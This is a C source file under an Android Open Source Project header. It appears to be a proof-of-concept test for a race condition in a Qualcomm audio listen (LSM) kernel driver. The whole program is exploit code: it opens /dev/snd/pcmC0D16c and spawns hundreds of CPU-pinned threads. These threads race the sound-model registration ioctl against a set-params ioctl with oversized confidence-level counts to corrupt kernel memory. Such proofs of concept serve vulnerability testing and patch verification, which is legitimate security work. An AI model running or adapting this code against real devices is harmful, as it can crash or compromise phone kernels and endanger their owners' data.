/* * Copyright (C) 2017 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/wait.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <time.h> #define THREAD_NUM 600 #define DEV "/dev/snd/pcmC0D16c" typedef _Bool bool; enum lsm_app_id { LSM_VOICE_WAKEUP_APP_ID = 1, LSM_VOICE_WAKEUP_APP_ID_V2 = 2, }; enum lsm_detection_mode { LSM_MODE_KEYWORD_ONLY_DETECTION = 1, LSM_MODE_USER_KEYWORD_DETECTION }; enum lsm_vw_status { LSM_VOICE_WAKEUP_STATUS_RUNNING = 1, LSM_VOICE_WAKEUP_STATUS_DETECTED, LSM_VOICE_WAKEUP_STATUS_END_SPEECH, LSM_VOICE_WAKEUP_STATUS_REJECTED }; enum LSM_PARAM_TYPE { LSM_ENDPOINT_DETECT_THRESHOLD = 0, LSM_OPERATION_MODE, LSM_GAIN, LSM_MIN_CONFIDENCE_LEVELS, LSM_REG_SND_MODEL, LSM_DEREG_SND_MODEL, LSM_CUSTOM_PARAMS, LSM_PARAMS_MAX, }; struct snd_lsm_ep_det_thres { __u32 epd_begin; __u32 epd_end; }; struct snd_lsm_detect_mode { enum lsm_detection_mode mode; bool detect_failure; }; struct snd_lsm_gain { __u16 gain; }; struct snd_lsm_sound_model_v2 { __u8 __user *data; __u8 *confidence_level; __u32 data_size; enum lsm_detection_mode detection_mode; __u8 num_confidence_levels; bool detect_failure; }; struct snd_lsm_session_data { enum lsm_app_id app_id; }; struct snd_lsm_event_status { __u16 status; __u16 payload_size; __u8 payload[0]; }; struct snd_lsm_detection_params { __u8 *conf_level; enum lsm_detection_mode detect_mode; __u8 num_confidence_levels; bool detect_failure; }; struct lsm_params_info { __u32 module_id; __u32 param_id; __u32 param_size; __u8 __user *param_data; enum LSM_PARAM_TYPE param_type; }; struct snd_lsm_module_params { __u8 __user *params; __u32 num_params; __u32 data_size; }; struct snd_lsm_output_format_cfg { __u8 format; __u8 packing; __u8 events; __u8 mode; }; #define SNDRV_LSM_DEREG_SND_MODEL _IOW('U', 0x01, int) #define SNDRV_LSM_EVENT_STATUS _IOW('U', 0x02, struct snd_lsm_event_status) #define SNDRV_LSM_ABORT_EVENT _IOW('U', 0x03, int) #define SNDRV_LSM_START _IOW('U', 0x04, int) #define SNDRV_LSM_STOP _IOW('U', 0x05, int) #define SNDRV_LSM_SET_SESSION_DATA _IOW('U', 0x06, struct snd_lsm_session_data) #define SNDRV_LSM_REG_SND_MODEL_V2 _IOW('U', 0x07,\ struct snd_lsm_sound_model_v2) #define SNDRV_LSM_LAB_CONTROL _IOW('U', 0x08, uint32_t) #define SNDRV_LSM_STOP_LAB _IO('U', 0x09) #define SNDRV_LSM_SET_PARAMS _IOW('U', 0x0A, \ struct snd_lsm_detection_params) #define SNDRV_LSM_SET_MODULE_PARAMS _IOW('U', 0x0B, \ struct snd_lsm_module_params) int fd; pthread_t thread_id[THREAD_NUM+1] = { 0 }; int thread_ret[THREAD_NUM] = { 0 }; int attack = 0; struct snd_lsm_sound_model_v2 snd_model_v2_1 = {0, 0, 0, 0, 0, 0}; struct snd_lsm_sound_model_v2 snd_model_v2_2 = {0, 0, 0, 0, 0, 0}; struct snd_lsm_detection_params snd_params = {0, 0, 0, 0}; unsigned char snd_data[1024] = "abcdefghigklmnjfsljffsljflwjwfhnsdnfsnfsnfsnflnflsfls"; unsigned char confidence_level_1[4] = "123"; unsigned char confidence_level_2[20] = "12345678"; static int set_affinity(int num) { int ret = 0; cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(num, &mask); ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); return ret; } void* child_ioctl_0() { set_affinity(1); snd_model_v2_1.data = snd_data; snd_model_v2_1.data_size = sizeof(snd_data); snd_model_v2_1.confidence_level = confidence_level_1; snd_model_v2_1.num_confidence_levels = strlen((const char *)confidence_level_1); snd_model_v2_1.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION; snd_model_v2_1.detect_failure = 1; while(1){ ioctl(fd, SNDRV_LSM_REG_SND_MODEL_V2, &snd_model_v2_1); } } void* child_ioctl_1() { set_affinity(2); snd_model_v2_2.data = snd_data; snd_model_v2_2.data_size = sizeof(snd_data); snd_model_v2_2.confidence_level = confidence_level_2; snd_model_v2_2.num_confidence_levels = strlen((const char *)confidence_level_2); snd_model_v2_2.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION; snd_model_v2_2.detect_failure = 1; snd_params.num_confidence_levels = 20; snd_params.conf_level = confidence_level_2; snd_params.detect_failure = 1; snd_params.detect_mode = LSM_MODE_USER_KEYWORD_DETECTION; while(1){ nanosleep((const struct timespec[]){{0, 100000}}, NULL); ioctl(fd, SNDRV_LSM_SET_PARAMS, &snd_params); } } int main() { int i, ret; set_affinity(0); fd = open(DEV,O_RDWR); if(fd == -1){ return -1; } ret = ioctl(fd, SNDRV_LSM_START, 0); if(ret) return -1; for(i = 0; i < 300; i = i + 2){ thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL); thread_ret[i+1] = pthread_create(thread_id + i +1, NULL, child_ioctl_1, NULL); } i = 0; attack = 1; while(100){ nanosleep((const struct timespec[]){{0, 100000}}, NULL); } attack = 0; return 0; }